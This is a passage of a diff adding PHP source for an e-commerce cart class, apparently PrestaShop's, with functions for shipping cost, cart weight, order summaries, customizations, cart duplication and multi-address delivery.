'_'.(int)$product['id_product'].'_'.(int)$product['id_product_attribute']; + + if (Cache::isStored($cache_id)) + return Cache::retrieve($cache_id); + + // Order total in default currency without fees + $order_total = $this->getOrderTotal(true, Cart::BOTH_WITHOUT_SHIPPING, $product_list); + + // Start with shipping cost at 0 + $shipping_cost = 0; + // If no product added, return 0 + if (!count($products)) + { + Cache::store($cache_id, $shipping_cost); + return $shipping_cost; + } + + if(!isset($id_zone)) + { + // Get id zone + if (!$this->isMultiAddressDelivery() + && isset($this->id_address_delivery) // Be carefull, id_address_delivery is not usefull one 1.5 + && $this->id_address_delivery + && Customer::customerHasAddress($this->id_customer, $this->id_address_delivery + )) + $id_zone = Address::getZoneById((int)$this->id_address_delivery); + else + { + if (!Validate::isLoadedObject($default_country)) + $default_country = new Country(Configuration::get('PS_COUNTRY_DEFAULT'), Configuration::get('PS_LANG_DEFAULT')); + + $id_zone = (int)$default_country->id_zone; + } + } + + if ($id_carrier && !$this->isCarrierInRange((int)$id_carrier, (int)$id_zone)) + $id_carrier = ''; + + if (empty($id_carrier) && $this->isCarrierInRange((int)Configuration::get('PS_CARRIER_DEFAULT'), (int)$id_zone)) + $id_carrier = (int)Configuration::get('PS_CARRIER_DEFAULT'); + + if (empty($id_carrier)) + { + if ((int)$this->id_customer) + { + $customer = new Customer((int)$this->id_customer); + $result = Carrier::getCarriers((int)Configuration::get('PS_LANG_DEFAULT'), true, false, (int)$id_zone, $customer->getGroups()); + unset($customer); + } + else + $result = Carrier::getCarriers((int)Configuration::get('PS_LANG_DEFAULT'), true, false, (int)$id_zone); + + foreach ($result as $k => $row) + { + if ($row['id_carrier'] == Configuration::get('PS_CARRIER_DEFAULT')) + continue; + + if (!isset(self::$_carriers[$row['id_carrier']])) + self::$_carriers[$row['id_carrier']] = new Carrier((int)$row['id_carrier']); + + $carrier = self::$_carriers[$row['id_carrier']]; + + // Get only carriers that are compliant with shipping method + if (($carrier->getShippingMethod() == Carrier::SHIPPING_METHOD_WEIGHT && $carrier->getMaxDeliveryPriceByWeight((int)$id_zone) === false) + || ($carrier->getShippingMethod() == Carrier::SHIPPING_METHOD_PRICE && $carrier->getMaxDeliveryPriceByPrice((int)$id_zone) === false)) + { + unset($result[$k]); + continue; + } + + // If out-of-range behavior carrier is set on "Desactivate carrier" + if ($row['range_behavior']) + { + $check_delivery_price_by_weight = Carrier::checkDeliveryPriceByWeight($row['id_carrier'], $this->getTotalWeight(), (int)$id_zone); + + $total_order = $this->getOrderTotal(true, Cart::BOTH_WITHOUT_SHIPPING, $product_list); + $check_delivery_price_by_price = Carrier::checkDeliveryPriceByPrice($row['id_carrier'], $total_order, (int)$id_zone, (int)$this->id_currency); + + // Get only carriers that have a range compatible with cart + if (($carrier->getShippingMethod() == Carrier::SHIPPING_METHOD_WEIGHT && !$check_delivery_price_by_weight) + || ($carrier->getShippingMethod() == Carrier::SHIPPING_METHOD_PRICE && !$check_delivery_price_by_price)) + { + unset($result[$k]); + continue; + } + } + + if ($carrier->getShippingMethod() == Carrier::SHIPPING_METHOD_WEIGHT) + $shipping = $carrier->getDeliveryPriceByWeight($this->getTotalWeight($product_list), (int)$id_zone); + else + $shipping = $carrier->getDeliveryPriceByPrice($order_total, (int)$id_zone, (int)$this->id_currency); + + if (!isset($min_shipping_price)) + $min_shipping_price = $shipping; + + if ($shipping <= $min_shipping_price) + { + $id_carrier = (int)$row['id_carrier']; + $min_shipping_price = $shipping; + } + } + } + + if (empty($id_carrier)) + $id_carrier = Configuration::get('PS_CARRIER_DEFAULT'); + + if (!isset(self::$_carriers[$id_carrier])) + self::$_carriers[$id_carrier] = new Carrier((int)$id_carrier, Configuration::get('PS_LANG_DEFAULT')); + + $carrier = self::$_carriers[$id_carrier]; + + // No valid Carrier or $id_carrier <= 0 ? + if (!Validate::isLoadedObject($carrier)) + { + Cache::store($cache_id, 0); + return 0; + } + + if (!$carrier->active) + { + Cache::store($cache_id, $shipping_cost); + return $shipping_cost; + } + + // Free fees if free carrier + if ($carrier->is_free == 1) + { + Cache::store($cache_id, 0); + return 0; + } + + // Select carrier tax + if ($use_tax && !Tax::excludeTaxeOption()) + { + $address = Address::initialize((int)$address_id); + $carrier_tax = $carrier->getTaxesRate($address); + } + + $configuration = Configuration::getMultiple(array( + 'PS_SHIPPING_FREE_PRICE', + 'PS_SHIPPING_HANDLING', + 'PS_SHIPPING_METHOD', + 'PS_SHIPPING_FREE_WEIGHT' + )); + + // Free fees + $free_fees_price = 0; + if (isset($configuration['PS_SHIPPING_FREE_PRICE'])) + $free_fees_price = Tools::convertPrice((float)$configuration['PS_SHIPPING_FREE_PRICE'], Currency::getCurrencyInstance((int)$this->id_currency)); + $orderTotalwithDiscounts = $this->getOrderTotal(true, Cart::BOTH_WITHOUT_SHIPPING, null, null, false); + if ($orderTotalwithDiscounts >= (float)($free_fees_price) && (float)($free_fees_price) > 0) + { + Cache::store($cache_id, $shipping_cost); + return $shipping_cost; + } + + if (isset($configuration['PS_SHIPPING_FREE_WEIGHT']) + && $this->getTotalWeight() >= (float)$configuration['PS_SHIPPING_FREE_WEIGHT'] + && (float)$configuration['PS_SHIPPING_FREE_WEIGHT'] > 0) + { + Cache::store($cache_id, $shipping_cost); + return $shipping_cost; + } + + // Get shipping cost using correct method + if ($carrier->range_behavior) + { + if(!isset($id_zone)) + { + // Get id zone + if (isset($this->id_address_delivery) + && $this->id_address_delivery + && Customer::customerHasAddress($this->id_customer, $this->id_address_delivery)) + $id_zone = Address::getZoneById((int)$this->id_address_delivery); + else + $id_zone = (int)$default_country->id_zone; + } + + $check_delivery_price_by_weight = Carrier::checkDeliveryPriceByWeight((int)$carrier->id, $this->getTotalWeight(), (int)$id_zone); + + // Code Review V&V TO FINISH + $check_delivery_price_by_price = Carrier::checkDeliveryPriceByPrice( + $carrier->id, + $this->getOrderTotal( + true, + Cart::BOTH_WITHOUT_SHIPPING, + $product_list + ), + $id_zone, + (int)$this->id_currency + ); + + if (( + $carrier->getShippingMethod() == Carrier::SHIPPING_METHOD_WEIGHT + && !$check_delivery_price_by_weight + ) || ( + $carrier->getShippingMethod() == Carrier::SHIPPING_METHOD_PRICE + && !$check_delivery_price_by_price + )) + $shipping_cost += 0; + else + { + if ($carrier->getShippingMethod() == Carrier::SHIPPING_METHOD_WEIGHT) + $shipping_cost += $carrier->getDeliveryPriceByWeight($this->getTotalWeight($product_list), $id_zone); + else // by price + $shipping_cost += $carrier->getDeliveryPriceByPrice($order_total, $id_zone, (int)$this->id_currency); + } + } + else + { + if ($carrier->getShippingMethod() == Carrier::SHIPPING_METHOD_WEIGHT) + $shipping_cost += $carrier->getDeliveryPriceByWeight($this->getTotalWeight($product_list), $id_zone); + else + $shipping_cost += $carrier->getDeliveryPriceByPrice($order_total, $id_zone, (int)$this->id_currency); + + } + // Adding handling charges + if (isset($configuration['PS_SHIPPING_HANDLING']) && $carrier->shipping_handling) + $shipping_cost += (float)$configuration['PS_SHIPPING_HANDLING']; + + // Additional Shipping Cost per product + foreach ($products as $product) + if (!$product['is_virtual']) + $shipping_cost += $product['additional_shipping_cost'] * $product['cart_quantity']; + + $shipping_cost = Tools::convertPrice($shipping_cost, Currency::getCurrencyInstance((int)$this->id_currency)); + + //get external shipping cost from module + if ($carrier->shipping_external) + { + $module_name = $carrier->external_module_name; + $module = Module::getInstanceByName($module_name); + + if (Validate::isLoadedObject($module)) + { + if (array_key_exists('id_carrier', $module)) + $module->id_carrier = $carrier->id; + if ($carrier->need_range) + if (method_exists($module, 'getPackageShippingCost')) + $shipping_cost = $module->getPackageShippingCost($this, $shipping_cost, $products); + else + $shipping_cost = $module->getOrderShippingCost($this, $shipping_cost); + else + $shipping_cost = $module->getOrderShippingCostExternal($this); + + // Check if carrier is available + if ($shipping_cost === false) + { + Cache::store($cache_id, false); + return false; + } + } + else + { + Cache::store($cache_id, false); + return false; + } + } + + // Apply tax + if ($use_tax && isset($carrier_tax)) + $shipping_cost *= 1 + ($carrier_tax / 100); + + $shipping_cost = (float)Tools::ps_round((float)$shipping_cost, 2); + Cache::store($cache_id, $shipping_cost); + + return $shipping_cost; + } + + /** + * Return cart weight + * @return float Cart weight + */ + public function getTotalWeight($products = null) + { + if (!is_null($products)) + { + $total_weight = 0; + foreach ($products as $product) + { + if (!isset($product['weight_attribute']) || is_null($product['weight_attribute'])) + $total_weight += $product['weight'] * $product['cart_quantity']; + else + $total_weight += $product['weight_attribute'] * $product['cart_quantity']; + } + return $total_weight; + } + + if (!isset(self::$_totalWeight[$this->id])) + { + if (Combination::isFeatureActive()) + $weight_product_with_attribute = Db::getInstance()->getValue(' + SELECT SUM((p.`weight` + pa.`weight`) * cp.`quantity`) as nb + FROM `'._DB_PREFIX_.'cart_product` cp + LEFT JOIN `'._DB_PREFIX_.'product` p ON (cp.`id_product` = p.`id_product`) + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa ON (cp.`id_product_attribute` = pa.`id_product_attribute`) + WHERE (cp.`id_product_attribute` IS NOT NULL AND cp.`id_product_attribute` != 0) + AND cp.`id_cart` = '.(int)$this->id); + else + $weight_product_with_attribute = 0; + + $weight_product_without_attribute = Db::getInstance()->getValue(' + SELECT SUM(p.`weight` * cp.`quantity`) as nb + FROM `'._DB_PREFIX_.'cart_product` cp + LEFT JOIN `'._DB_PREFIX_.'product` p ON (cp.`id_product` = p.`id_product`) + WHERE (cp.`id_product_attribute` IS NULL OR cp.`id_product_attribute` = 0) + AND cp.`id_cart` = '.(int)$this->id); + + self::$_totalWeight[$this->id] = round((float)$weight_product_with_attribute + (float)$weight_product_without_attribute, 3); + } + + return self::$_totalWeight[$this->id]; + } + + /** + * @deprecated 1.5.0 + */ + public function checkDiscountValidity($obj, $discounts, $order_total, $products, $check_cart_discount = false) + { + Tools::displayAsDeprecated(); + $context = Context::getContext()->cloneContext(); + $context->cart = $this; + + return $obj->checkValidity($context); + } + + /** + * Return useful informations for cart + * + * @return array Cart details + */ + public function getSummaryDetails($id_lang = null, $refresh = false) + { + $context = Context::getContext(); + if (!$id_lang) + $id_lang = $context->language->id; + + $delivery = new Address((int)$this->id_address_delivery); + $invoice = new Address((int)$this->id_address_invoice); + + // New layout system with personalization fields + $formatted_addresses['delivery'] = AddressFormat::getFormattedLayoutData($delivery); + $formatted_addresses['invoice'] = AddressFormat::getFormattedLayoutData($invoice); + + $total_tax = $this->getOrderTotal() - $this->getOrderTotal(false); + + if ($total_tax < 0) + $total_tax = 0; + + $currency = new Currency($this->id_currency); + + $products = $this->getProducts($refresh); + $gift_products = array(); + $cart_rules = $this->getCartRules(); + $total_shipping = $this->getTotalShippingCost(); + $total_shipping_tax_exc = $this->getTotalShippingCost(null, false); + $total_products_wt = $this->getOrderTotal(true, Cart::ONLY_PRODUCTS); + $total_products = $this->getOrderTotal(false, Cart::ONLY_PRODUCTS); + $total_discounts = $this->getOrderTotal(true, Cart::ONLY_DISCOUNTS); + $total_discounts_tax_exc = $this->getOrderTotal(false, Cart::ONLY_DISCOUNTS); + + // The cart content is altered for display + foreach ($cart_rules as &$cart_rule) + { + // If the cart rule is automatic (wihtout any code) and include free shipping, it should not be displayed as a cart rule but only set the shipping cost to 0 + if ($cart_rule['free_shipping'] && (empty($cart_rule['code']) || preg_match('/^'.CartRule::BO_ORDER_CODE_PREFIX.'[0-9]+/', $cart_rule['code']))) + { + $cart_rule['value_real'] -= $total_shipping; + $cart_rule['value_tax_exc'] -= $total_shipping_tax_exc; + $cart_rule['value_real'] = Tools::ps_round($cart_rule['value_real'], (int)$context->currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + $cart_rule['value_tax_exc'] = Tools::ps_round($cart_rule['value_tax_exc'], (int)$context->currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + if ($total_discounts > $cart_rule['value_real']) + $total_discounts -= $total_shipping; + if ($total_discounts_tax_exc > $cart_rule['value_tax_exc']) + $total_discounts_tax_exc -= $total_shipping_tax_exc; + + // Update total shipping + $total_shipping = 0; + $total_shipping_tax_exc = 0; + } + if ($cart_rule['gift_product']) + { + foreach ($products as $key => &$product) + if (empty($product['gift']) && $product['id_product'] == $cart_rule['gift_product'] && $product['id_product_attribute'] == $cart_rule['gift_product_attribute']) + { + // Update total products + $total_products_wt = Tools::ps_round($total_products_wt - $product['price_wt'], (int)$context->currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + $total_products = Tools::ps_round($total_products - $product['price'], (int)$context->currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + + // Update total discounts + $total_discounts = Tools::ps_round($total_discounts - $product['price_wt'], (int)$context->currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + $total_discounts_tax_exc = Tools::ps_round($total_discounts_tax_exc - $product['price'], (int)$context->currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + + // Update cart rule value + $cart_rule['value_real'] = Tools::ps_round($cart_rule['value_real'] - $product['price_wt'], (int)$context->currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + $cart_rule['value_tax_exc'] = Tools::ps_round($cart_rule['value_tax_exc'] - $product['price'], (int)$context->currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + + // Update product quantity + $product['total_wt'] = Tools::ps_round($product['total_wt'] - $product['price_wt'], (int)$currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + $product['total'] = Tools::ps_round($product['total'] - $product['price'], (int)$currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + $product['cart_quantity']--; + + if (!$product['cart_quantity']) + unset($products[$key]); + + // Add a new product line + $gift_product = $product; + $gift_product['cart_quantity'] = 1; + $gift_product['price'] = 0; + $gift_product['price_wt'] = 0; + $gift_product['total_wt'] = 0; + $gift_product['total'] = 0; + $gift_product['gift'] = true; + $gift_products[] = $gift_product; + + break; // One gift product per cart rule + } + } + } + + /*foreach ($cart_rules as $key => &$cart_rule) + if ($cart_rule['value_real'] == 0) + unset($cart_rules[$key]);*/ + + return array( + 'delivery' => $delivery, + 'delivery_state' => State::getNameById($delivery->id_state), + 'invoice' => $invoice, + 'invoice_state' => State::getNameById($invoice->id_state), + 'formattedAddresses' => $formatted_addresses, + 'products' => array_values($products), + 'gift_products' => $gift_products, + 'discounts' => $cart_rules, + 'is_virtual_cart' => (int)$this->isVirtualCart(), + 'total_discounts' => $total_discounts, + 'total_discounts_tax_exc' => $total_discounts_tax_exc, + 'total_wrapping' => $this->getOrderTotal(true, Cart::ONLY_WRAPPING), + 'total_wrapping_tax_exc' => $this->getOrderTotal(false, Cart::ONLY_WRAPPING), + 'total_shipping' => $total_shipping, + 'total_shipping_tax_exc' => $total_shipping_tax_exc, + 'total_products_wt' => $total_products_wt, + 'total_products' => $total_products, + 'total_price' => $this->getOrderTotal(), + 'total_tax' => $total_tax, + 'total_price_without_tax' => $this->getOrderTotal(false), + 'is_multi_address_delivery' => $this->isMultiAddressDelivery() || ((int)Tools::getValue('multi-shipping') == 1), + 'free_ship' => $total_shipping ? 0 : 1, + 'carrier' => new Carrier($this->id_carrier, $id_lang), + ); + } + + public function checkQuantities() + { + if (Configuration::get('PS_CATALOG_MODE')) + return false; + + foreach ($this->getProducts() as $product) + + if (!$product['active'] + || ( + !$product['allow_oosp'] && $product['stock_quantity'] < $product['cart_quantity'] + ) + || !$product['available_for_order']) + return false; + + return true; + } + + public static function lastNoneOrderedCart($id_customer) + { + $sql = 'SELECT c.`id_cart` + FROM '._DB_PREFIX_.'cart c + WHERE c.`id_cart` NOT IN (SELECT o.`id_cart` FROM '._DB_PREFIX_.'orders o WHERE o.`id_customer` = '.(int)$id_customer.') + AND c.`id_customer` = '.(int)$id_customer.' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'c').' + ORDER BY c.`date_upd` DESC'; + + if (!$id_cart = Db::getInstance()->getValue($sql)) + return false; + + return (int)$id_cart; + } + + /** + * Check if cart contains only virtual products + * + * @return boolean true if is a virtual cart or false + */ + public function isVirtualCart($strict = false) + { + if (!ProductDownload::isFeatureActive()) + return false; + + if (!isset(self::$_isVirtualCart[$this->id])) + { + $products = $this->getProducts(); + if (!count($products)) + return false; + + $is_virtual = 1; + foreach ($products as $product) + { + if (empty($product['is_virtual'])) + $is_virtual = 0; + } + self::$_isVirtualCart[$this->id] = (int)$is_virtual; + } + + return self::$_isVirtualCart[$this->id]; + } + + /** + * Build cart object from provided id_order + * + * @param int $id_order + * @return Cart|bool + */ + public static function getCartByOrderId($id_order) + { + if ($id_cart = Cart::getCartIdByOrderId($id_order)) + return new Cart((int)$id_cart); + + return false; + } + + public static function getCartIdByOrderId($id_order) + { + $result = Db::getInstance()->getRow('SELECT `id_cart` FROM '._DB_PREFIX_.'orders WHERE `id_order` = '.(int)$id_order); + if (!$result || empty($result) || !key_exists('id_cart', $result)) + return false; + return $result['id_cart']; + } + + /** + * Add customer's text + * + * @params int $id_product + * @params int $index + * @params int $type + * @params string $textValue + * + * @return bool Always true + */ + public function addTextFieldToProduct($id_product, $index, $type, $text_value) + { + $text_value = str_replace(array("\n", "\r"), '', nl2br($text_value)); + $text_value = str_replace('\\', '\\\\', $text_value); + $text_value = str_replace('\'', '\\\'', $text_value); + return $this->_addCustomization($id_product, 0, $index, $type, $text_value, 0); + } + + /** + * Add customer's pictures + * + * @return bool Always true + */ + public function addPictureToProduct($id_product, $index, $type, $file) + { + return $this->_addCustomization($id_product, 0, $index, $type, $file, 0); + } + + public function deletePictureToProduct($id_product, $index) + { + Tools::displayAsDeprecated(); + return $this->deleteCustomizationToProduct($id_product, 0); + } + + /** + * Remove a customer's customization + * + * @param int $id_product + * @param int $index + * @return bool + */ + public function deleteCustomizationToProduct($id_product, $index) + { + $result = true; + + $cust_data = Db::getInstance()->getRow(' + SELECT cu.`id_customization`, cd.`index`, cd.`value`, cd.`type` FROM `'._DB_PREFIX_.'customization` cu + LEFT JOIN `'._DB_PREFIX_.'customized_data` cd + ON cu.`id_customization` = cd.`id_customization` + WHERE cu.`id_cart` = '.(int)$this->id.' + AND cu.`id_product` = '.(int)$id_product.' + AND `index` = '.(int)$index.' + AND `in_cart` = 0' + ); + + // Delete customization picture if necessary + if ($cust_data['type'] == 0) + $result &= (@unlink(_PS_UPLOAD_DIR_.$cust_data['value']) && @unlink(_PS_UPLOAD_DIR_.$cust_data['value'].'_small')); + + $result &= Db::getInstance()->execute('DELETE + FROM `'._DB_PREFIX_.'customized_data` + WHERE `id_customization` = '.(int)$cust_data['id_customization'].' + AND `index` = '.(int)$index + ); + return $result; + } + + /** + * Return custom pictures in this cart for a specified product + * + * @param int $id_product + * @param int $type only return customization of this type + * @param bool $not_in_cart only return customizations that are not in cart already + * @return array result rows + */ + public function getProductCustomization($id_product, $type = null, $not_in_cart = false) + { + if (!Customization::isFeatureActive()) + return array(); + + $result = Db::getInstance()->executeS(' + SELECT cu.id_customization, cd.index, cd.value, cd.type, cu.in_cart, cu.quantity + FROM `'._DB_PREFIX_.'customization` cu + LEFT JOIN `'._DB_PREFIX_.'customized_data` cd ON (cu.`id_customization` = cd.`id_customization`) + WHERE cu.id_cart = '.(int)$this->id.' + AND cu.id_product = '.(int)$id_product. + ($type === Product::CUSTOMIZE_FILE ? ' AND type = '.(int)Product::CUSTOMIZE_FILE : ''). + ($type === Product::CUSTOMIZE_TEXTFIELD ? ' AND type = '.(int)Product::CUSTOMIZE_TEXTFIELD : ''). + ($not_in_cart ? ' AND in_cart = 0' : '') + ); + return $result; + } + + public static function getCustomerCarts($id_customer, $with_order = true) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM '._DB_PREFIX_.'cart c + WHERE c.`id_customer` = '.(int)$id_customer.' + '.(!$with_order ? 'AND id_cart NOT IN (SELECT id_cart FROM '._DB_PREFIX_.'orders o)' : '').' + ORDER BY c.`date_add` DESC'); + } + + public static function replaceZeroByShopName($echo, $tr) + { + return ($echo == '0' ? Configuration::get('PS_SHOP_NAME') : $echo); + } + + public function duplicate() + { + if (!Validate::isLoadedObject($this)) + return false; + + $cart = new Cart($this->id); + $cart->id = null; + $cart->id_shop = $this->id_shop; + $cart->id_shop_group = $this->id_shop_group; + $cart->add(); + + if (!Validate::isLoadedObject($cart)) + return false; + + $success = true; + $products = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM `'._DB_PREFIX_.'cart_product` WHERE `id_cart` = '.(int)$this->id); + + foreach ($products as $product) + $success &= $cart->updateQty( + $product['quantity'], + (int)$product['id_product'], + (int)$product['id_product_attribute'], + null, + 'up', + (int)$product['id_address_delivery'], + new Shop($cart->id_shop) + ); + + // Customized products + $customs = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM '._DB_PREFIX_.'customization c + LEFT JOIN '._DB_PREFIX_.'customized_data cd ON cd.id_customization = c.id_customization + WHERE c.id_cart = '.(int)$this->id + ); + + // Get datas from customization table + $customs_by_id = array(); + foreach ($customs as $custom) + { + if (!isset($customs_by_id[$custom['id_customization']])) + $customs_by_id[$custom['id_customization']] = array( + 'id_product_attribute' => $custom['id_product_attribute'], + 'id_product' => $custom['id_product'], + 'quantity' => $custom['quantity'] + ); + } + + // Insert new customizations + $custom_ids = array(); + foreach ($customs_by_id as $customization_id => $val) + { + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'customization` (id_cart, id_product_attribute, id_product, `id_address_delivery`, quantity, `quantity_refunded`, `quantity_returned`, `in_cart`) + VALUES('.(int)$cart->id.', '.(int)$val['id_product_attribute'].', '.(int)$val['id_product'].', '.(int)$this->id_address_delivery.', '.(int)$val['quantity'].', 0, 0, 1)' + ); + $custom_ids[$customization_id] = Db::getInstance(_PS_USE_SQL_SLAVE_)->Insert_ID(); + } + + // Insert customized_data + if (count($customs)) + { + $first = true; + $sql_custom_data = 'INSERT INTO '._DB_PREFIX_.'customized_data (`id_customization`, `type`, `index`, `value`) VALUES '; + foreach ($customs as $custom) + { + if (!$first) + $sql_custom_data .= ','; + else + $first = false; + + $sql_custom_data .= '('.(int)$custom_ids[$custom['id_customization']].', '.(int)$custom['type'].', '. + (int)$custom['index'].', \''.pSQL($custom['value']).'\')'; + } + Db::getInstance()->execute($sql_custom_data); + } + + return array('cart' => $cart, 'success' => $success); + } + + public function getWsCartRows() + { + $query = ' + SELECT id_product, id_product_attribute, quantity + FROM `'._DB_PREFIX_.'cart_product` + WHERE id_cart = '.(int)$this->id.' + AND id_shop = '.(int)Context::getContext()->shop->id; + + $result = Db::getInstance()->executeS($query); + return $result; + } + + public function setWsCartRows($values) + { + if ($this->deleteAssociations()) + { + $query = 'INSERT INTO `'._DB_PREFIX_.'cart_product`(`id_cart`, `id_product`, `id_product_attribute`, `quantity`, `date_add`, `id_shop`) VALUES '; + + foreach ($values as $value) + $query .= '('.(int)$this->id.', '.(int)$value['id_product'].', '. + (isset($value['id_product_attribute']) ? (int)$value['id_product_attribute'] : 'NULL').', '.(int)$value['quantity'].', NOW(), '.(int)Context::getContext()->shop->id.'),'; + + Db::getInstance()->execute(rtrim($query, ',')); + } + + return true; + } + + public function setProductAddressDelivery($id_product, $id_product_attribute, $old_id_address_delivery, $new_id_address_delivery) + { + // Check address is linked with the customer + if (!Customer::customerHasAddress(Context::getContext()->customer->id, $new_id_address_delivery)) + return false; + + if ($new_id_address_delivery == $old_id_address_delivery) + return false; + + // Checking if the product with the old address delivery exists + $sql = new DbQuery(); + $sql->select('count(*)'); + $sql->from('cart_product', 'cp'); + $sql->where('id_product = '.(int)$id_product); + $sql->where('id_product_attribute = '.(int)$id_product_attribute); + $sql->where('id_address_delivery = '.(int)$old_id_address_delivery); + $sql->where('id_cart = '.(int)$this->id); + $result = Db::getInstance()->getValue($sql); + + if ($result == 0) + return false; + + // Checking if there is no others similar products with this new address delivery + $sql = new DbQuery(); + $sql->select('sum(quantity) as qty'); + $sql->from('cart_product', 'cp'); + $sql->where('id_product = '.(int)$id_product); + $sql->where('id_product_attribute = '.(int)$id_product_attribute); + $sql->where('id_address_delivery = '.(int)$new_id_address_delivery); + $sql->where('id_cart = '.(int)$this->id); + $result = Db::getInstance()->getValue($sql); + + // Removing similar products with this new address delivery + $sql = 'DELETE FROM '._DB_PREFIX_.'cart_product + WHERE id_product = '.(int)$id_product.' + AND id_product_attribute = '.(int)$id_product_attribute.' + AND id_address_delivery = '.(int)$new_id_address_delivery.' + AND id_cart = '.(int)$this->id.' + LIMIT 1'; + Db::getInstance()->execute($sql); + + // Changing the address + $sql = 'UPDATE '._DB_PREFIX_.'cart_product + SET `id_address_delivery` = '.(int)$new_id_address_delivery.', + `quantity` = `quantity` + '.(int)$result['sum'].' + WHERE id_product = '.(int)$id_product.' + AND id_product_attribute = '.(int)$id_product_attribute.' + AND id_address_delivery = '.(int)$old_id_address_delivery.' + AND id_cart = '.(int)$this->id.' + LIMIT 1'; + Db::getInstance()->execute($sql); + + // Changing the address of the customizations + $sql = 'UPDATE '._DB_PREFIX_.'customization + SET `id_address_delivery` = '.(int)$new_id_address_delivery.' + WHERE id_product = '.(int)$id_product.' + AND id_product_attribute = '.(int)$id_product_attribute.' + AND id_address_delivery = '.(int)$old_id_address_delivery.' + AND id_cart = '.(int)$this->id; + Db::getInstance()->execute($sql); + + return true; + } + + public function duplicateProduct($id_product, $id_product_attribute, $id_address_delivery, + $new_id_address_delivery, $quantity = 1, $keep_quantity = false) + { + // Check address is linked with the customer + if (!Customer::customerHasAddress(Context::getContext()->customer->id, $new_id_address_delivery)) + return false; + + // Checking the product do not exist with the new address + $sql = new DbQuery(); + $sql->select('count(*)'); + $sql->from('cart_product', 'c'); + $sql->where('id_product = '.(int)$id_product); + $sql->where('id_product_attribute = '.(int)$id_product_attribute); + $sql->where('id_address_delivery = '.(int)$new_id_address_delivery); + $sql->where('id_cart = '.(int)$this->id); + $result = Db::getInstance()->getValue($sql); + + if ($result > 0) + return false; + + // Duplicating cart_product line + $sql = 'INSERT INTO '._DB_PREFIX_.'cart_product + (`id_cart`, `id_product`, `id_shop`, `id_product_attribute`, `quantity`, `date_add`, `id_address_delivery`) + values( + '.(int)$this->id.', + '.(int)$id_product.', + '.(int)$this->id_shop.', + '.(int)$id_product_attribute.', + '.(int)$quantity.', + NOW(), + '.(int)$new_id_address_delivery.')'; + + Db::getInstance()->execute($sql); + + if (!$keep_quantity) + { + $sql = new DbQuery(); + $sql->select('quantity'); + $sql->from('cart_product', 'c'); + $sql->where('id_product = '.(int)$id_product); + $sql->where('id_product_attribute = '.(int)$id_product_attribute); + $sql->where('id_address_delivery = '.(int)$id_address_delivery); + $sql->where('id_cart = '.(int)$this->id); + $duplicatedQuantity = Db::getInstance()->getValue($sql); + + if ($duplicatedQuantity > $quantity) + { + $sql = 'UPDATE '._DB_PREFIX_.'cart_product + SET `quantity` = `quantity` - '.(int)$quantity.' + WHERE id_cart = '.(int)$this->id.' + AND id_product = '.(int)$id_product.' + AND id_shop = '.(int)$this->id_shop.' + AND id_product_attribute = '.(int)$id_product_attribute.' + AND id_address_delivery = '.(int)$id_address_delivery; + Db::getInstance()->execute($sql); + } + } + + // Checking if there is customizations + $sql = new DbQuery(); + $sql->select('*'); + $sql->from('customization', 'c'); + $sql->where('id_product = '.(int)$id_product); + $sql->where('id_product_attribute = '.(int)$id_product_attribute); + $sql->where('id_address_delivery = '.(int)$id_address_delivery); + $sql->where('id_cart = '.(int)$this->id); + $results = Db::getInstance()->executeS($sql); + + foreach ($results as $customization) + { + + // Duplicate customization + $sql = 'INSERT INTO '._DB_PREFIX_.'customization + (`id_product_attribute`, `id_address_delivery`, `id_cart`, `id_product`, `quantity`, `in_cart`) + VALUES ( + '.$customization['id_product_attribute'].', + '.$new_id_address_delivery.', + '.$customization['id_cart'].', + '.$customization['id_product'].', + '.$quantity.', + '.$customization['in_cart'].')'; + Db::getInstance()->execute($sql); + + $sql = 'INSERT INTO '._DB_PREFIX_.'customized_data(`id_customization`, `type`, `index`, `value`) + ( + SELECT '.(int)Db::getInstance()->Insert_ID().' `id_customization`, `type`, `index`, `value` + FROM customized_data + WHERE id_customization = '.$customization['id_customization'].' + )'; + Db::getInstance()->execute($sql); + } + + $customization_count = count($results); + if ($customization_count > 0) + { + $sql = 'UPDATE '._DB_PREFIX_.'cart_product + SET `quantity` = `quantity` = '.(int)$customization_count * $quantity.' + WHERE id_cart = '.(int)$this->id.' + AND id_product = '.(int)$id_product.' + AND id_shop = '.(int)$this->id_shop.' + AND id_product_attribute = '.(int)$id_product_attribute.' + AND id_address_delivery = '.(int)$new_id_address_delivery; + Db::getInstance()->execute($sql); + } + + return true; + } + + /** + * Update products cart address delivery with the address delivery of the cart + */ + public function setNoMultishipping() + { + // Upgrading quantities + $sql = 'SELECT sum(`quantity`) as quantity, id_product, id_product_attribute, count(*) as count + FROM `'._DB_PREFIX_.'cart_product` + WHERE `id_cart` = '.(int)$this->id.' + AND `id_shop` = '.(int)$this->id_shop.' + GROUP BY id_product, id_product_attribute + HAVING count > 1'; + + foreach (Db::getInstance()->executeS($sql) as $product) + { + $sql = 'UPDATE `'._DB_PREFIX_.'cart_product` + SET `quantity` = '.$product['quantity'].' + WHERE `id_cart` = '.(int)$this->id.' + AND `id_shop` = '.(int)$this->id_shop.' + AND id_product = '.$product['id_product'].' + AND id_product_attribute = '.$product['id_product_attribute']; + Db::getInstance()->execute($sql); + } + + // Merging multiple lines + $sql = 'DELETE cp1 + FROM `'._DB_PREFIX_.'cart_product` cp1 + INNER JOIN `'._DB_PREFIX_.'cart_product` cp2 + ON ( + (cp1.id_cart = cp2.id_cart) + AND (cp1.id_product = cp2.id_product) + AND (cp1.id_product_attribute = cp2.id_product_attribute) + AND (cp1.id_address_delivery <> cp2.id_address_delivery) + AND (cp1.date_add > cp2.date_add) + )'; + 